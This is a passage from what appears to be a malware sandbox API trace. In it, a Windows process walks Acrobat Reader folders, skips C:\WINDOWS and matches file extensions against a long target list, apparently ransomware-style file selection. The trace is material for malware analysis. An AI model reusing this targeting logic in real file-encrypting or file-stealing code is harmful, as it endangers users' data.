(lpString1=".cfml", lpString2="in.js") returned -1 [0200.500] lstrlenW (lpString=".cfu") returned 4 [0200.500] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".chm") returned 4 [0200.500] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".cin") returned 4 [0200.500] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".class") returned 6 [0200.500] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0200.500] lstrlenW (lpString=".clx") returned 4 [0200.500] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".config") returned 7 [0200.500] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0200.500] lstrlenW (lpString=".cpp") returned 4 [0200.501] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".cr2") returned 4 [0200.501] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".crt") returned 4 [0200.501] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".crw") returned 4 [0200.501] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".cs") returned 3 [0200.501] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.501] lstrlenW (lpString=".css") returned 4 [0200.501] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".csv") returned 4 [0200.501] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".cub") returned 4 [0200.501] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".dae") returned 4 [0200.501] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".dat") returned 4 [0200.501] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".db") returned 3 [0200.501] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.501] lstrlenW (lpString=".dbf") returned 4 [0200.501] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".dbx") returned 4 [0200.501] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".dc3") returned 4 [0200.501] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0200.501] lstrlenW (lpString=".dcm") returned 4 [0200.501] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dcr") returned 4 [0200.502] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".der") returned 4 [0200.502] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dib") returned 4 [0200.502] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dic") returned 4 [0200.502] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dif") returned 4 [0200.502] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".divx") returned 5 [0200.502] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".djvu") returned 5 [0200.502] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".dng") returned 4 [0200.502] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".doc") returned 4 [0200.502] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".docm") returned 5 [0200.502] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".docx") returned 5 [0200.502] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".dot") returned 4 [0200.502] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dotm") returned 5 [0200.502] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".dotx") returned 5 [0200.502] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0200.502] lstrlenW (lpString=".dpx") returned 4 [0200.502] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0200.502] lstrlenW (lpString=".dqy") returned 4 [0200.503] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".dsn") returned 4 [0200.503] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".dt") returned 3 [0200.503] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.503] lstrlenW (lpString=".dtd") returned 4 [0200.503] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".dwg") returned 4 [0200.503] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".dwt") returned 4 [0200.503] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".dx") returned 3 [0200.503] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.503] lstrlenW (lpString=".dxf") returned 4 [0200.503] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".edml") returned 5 [0200.503] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0200.503] lstrlenW (lpString=".efd") returned 4 [0200.503] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".elf") returned 4 [0200.503] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".emf") returned 4 [0200.503] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".emz") returned 4 [0200.503] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".epf") returned 4 [0200.503] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".eps") returned 4 [0200.503] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0200.503] lstrlenW (lpString=".epsf") returned 5 [0200.503] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0200.503] lstrlenW (lpString=".epsp") returned 5 [0200.504] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0200.504] lstrlenW (lpString=".erf") returned 4 [0200.504] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".exr") returned 4 [0200.504] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".f4v") returned 4 [0200.504] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".fido") returned 5 [0200.504] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0200.504] lstrlenW (lpString=".flm") returned 4 [0200.504] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".flv") returned 4 [0200.504] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".frm") returned 4 [0200.504] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".fxg") returned 4 [0200.504] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".geo") returned 4 [0200.504] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".gif") returned 4 [0200.504] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".grs") returned 4 [0200.504] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".gz") returned 3 [0200.504] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0200.504] lstrlenW (lpString=".h") returned 2 [0200.504] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0200.504] lstrlenW (lpString=".hdr") returned 4 [0200.504] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0200.504] lstrlenW (lpString=".hpp") returned 4 [0200.505] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".hta") returned 4 [0200.505] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".htc") returned 4 [0200.505] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".htm") returned 4 [0200.505] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".html") returned 5 [0200.505] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0200.505] lstrlenW (lpString=".icb") returned 4 [0200.505] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".ics") returned 4 [0200.505] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".iff") returned 4 [0200.505] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".inc") returned 4 [0200.505] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".indd") returned 5 [0200.505] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1 [0200.505] lstrlenW (lpString=".ini") returned 4 [0200.505] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".iqy") returned 4 [0200.505] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".j2c") returned 4 [0200.505] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".j2k") returned 4 [0200.505] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1 [0200.505] lstrlenW (lpString=".java") returned 5 [0200.505] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1 [0200.505] lstrlenW (lpString=".jp2") returned 4 [0200.505] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".jpc") returned 4 [0200.506] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".jpe") returned 4 [0200.506] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".jpeg") returned 5 [0200.506] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1 [0200.506] lstrlenW (lpString=".jpf") returned 4 [0200.506] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".jpg") returned 4 [0200.506] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".jpx") returned 4 [0200.506] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1 [0200.506] lstrlenW (lpString=".js") returned 3 [0200.506] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0200.506] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0200.506] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 116 [0200.506] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 1 [0200.506] lstrlenW (lpString="plugins") returned 7 [0200.506] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0200.506] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4591d60 [0200.506] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 116 [0200.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0200.506] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.507] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0200.507] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 120 [0200.507] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 1 [0200.507] lstrlenW (lpString="rhp") returned 3 [0200.507] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="rhp") returned -1 [0200.507] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0200.507] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 120 [0200.507] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44205e0 [0200.507] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0200.507] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-selector.js", cAlternateFileName="COMBIN~1.JS")) returned 1 [0200.507] lstrlenW (lpString="combinepdf-selector.js") returned 22 [0200.507] lstrlenW (lpString=".1cd") returned 4 [0200.507] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0200.507] lstrlenW (lpString=".3ds") returned 4 [0200.507] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0200.507] lstrlenW (lpString=".3fr") returned 4 [0200.507] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0200.507] lstrlenW (lpString=".3g2") returned 4 [0200.507] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0200.507] lstrlenW (lpString=".3gp") returned 4 [0200.507] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0200.507] lstrlenW (lpString=".7z") returned 3 [0200.508] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.508] lstrlenW (lpString=".accda") returned 6 [0200.508] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".accdb") returned 6 [0200.508] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".accdc") returned 6 [0200.508] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".accde") returned 6 [0200.508] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".accdt") returned 6 [0200.508] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".accdw") returned 6 [0200.508] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0200.508] lstrlenW (lpString=".adb") returned 4 [0200.508] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".adp") returned 4 [0200.508] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai") returned 3 [0200.508] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.508] lstrlenW (lpString=".ai3") returned 4 [0200.508] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai4") returned 4 [0200.508] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai5") returned 4 [0200.508] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai6") returned 4 [0200.508] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai7") returned 4 [0200.508] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0200.508] lstrlenW (lpString=".ai8") returned 4 [0200.508] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".anim") returned 5 [0200.509] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0200.509] lstrlenW (lpString=".arw") returned 4 [0200.509] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".as") returned 3 [0200.509] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.509] lstrlenW (lpString=".asa") returned 4 [0200.509] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".asc") returned 4 [0200.509] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".ascx") returned 5 [0200.509] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0200.509] lstrlenW (lpString=".asm") returned 4 [0200.509] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".asmx") returned 5 [0200.509] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0200.509] lstrlenW (lpString=".asp") returned 4 [0200.509] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".aspx") returned 5 [0200.509] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0200.509] lstrlenW (lpString=".asr") returned 4 [0200.509] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".asx") returned 4 [0200.509] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".avi") returned 4 [0200.509] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0200.509] lstrlenW (lpString=".avs") returned 4 [0200.509] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".backup") returned 7 [0200.510] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0200.510] lstrlenW (lpString=".bak") returned 4 [0200.510] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".bay") returned 4 [0200.510] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".bd") returned 3 [0200.510] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.510] lstrlenW (lpString=".bin") returned 4 [0200.510] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".bmp") returned 4 [0200.510] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".bz2") returned 4 [0200.510] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".c") returned 2 [0200.510] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.510] lstrlenW (lpString=".cdr") returned 4 [0200.510] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".cer") returned 4 [0200.510] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".cf") returned 3 [0200.510] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.510] lstrlenW (lpString=".cfc") returned 4 [0200.510] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".cfm") returned 4 [0200.510] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".cfml") returned 5 [0200.510] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0200.510] lstrlenW (lpString=".cfu") returned 4 [0200.510] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0200.510] lstrlenW (lpString=".chm") returned 4 [0200.510] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".cin") returned 4 [0200.511] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".class") returned 6 [0200.511] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0200.511] lstrlenW (lpString=".clx") returned 4 [0200.511] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".config") returned 7 [0200.511] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0200.511] lstrlenW (lpString=".cpp") returned 4 [0200.511] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".cr2") returned 4 [0200.511] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".crt") returned 4 [0200.511] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".crw") returned 4 [0200.511] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".cs") returned 3 [0200.511] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.511] lstrlenW (lpString=".css") returned 4 [0200.511] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".csv") returned 4 [0200.511] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".cub") returned 4 [0200.511] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".dae") returned 4 [0200.511] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".dat") returned 4 [0200.511] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0200.511] lstrlenW (lpString=".db") returned 3 [0200.512] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.512] lstrlenW (lpString=".dbf") returned 4 [0200.512] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dbx") returned 4 [0200.512] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dc3") returned 4 [0200.512] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dcm") returned 4 [0200.512] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dcr") returned 4 [0200.512] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".der") returned 4 [0200.512] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dib") returned 4 [0200.512] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dic") returned 4 [0200.512] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".dif") returned 4 [0200.512] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".divx") returned 5 [0200.512] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0200.512] lstrlenW (lpString=".djvu") returned 5 [0200.512] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0200.512] lstrlenW (lpString=".dng") returned 4 [0200.512] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".doc") returned 4 [0200.512] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0200.512] lstrlenW (lpString=".docm") returned 5 [0200.512] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0200.512] lstrlenW (lpString=".docx") returned 5 [0200.512] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0200.513] lstrlenW (lpString=".dot") returned 4 [0200.513] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dotm") returned 5 [0200.513] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0200.513] lstrlenW (lpString=".dotx") returned 5 [0200.513] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0200.513] lstrlenW (lpString=".dpx") returned 4 [0200.513] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dqy") returned 4 [0200.513] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dsn") returned 4 [0200.513] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dt") returned 3 [0200.513] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.513] lstrlenW (lpString=".dtd") returned 4 [0200.513] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dwg") returned 4 [0200.513] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dwt") returned 4 [0200.513] lstrcmpiW 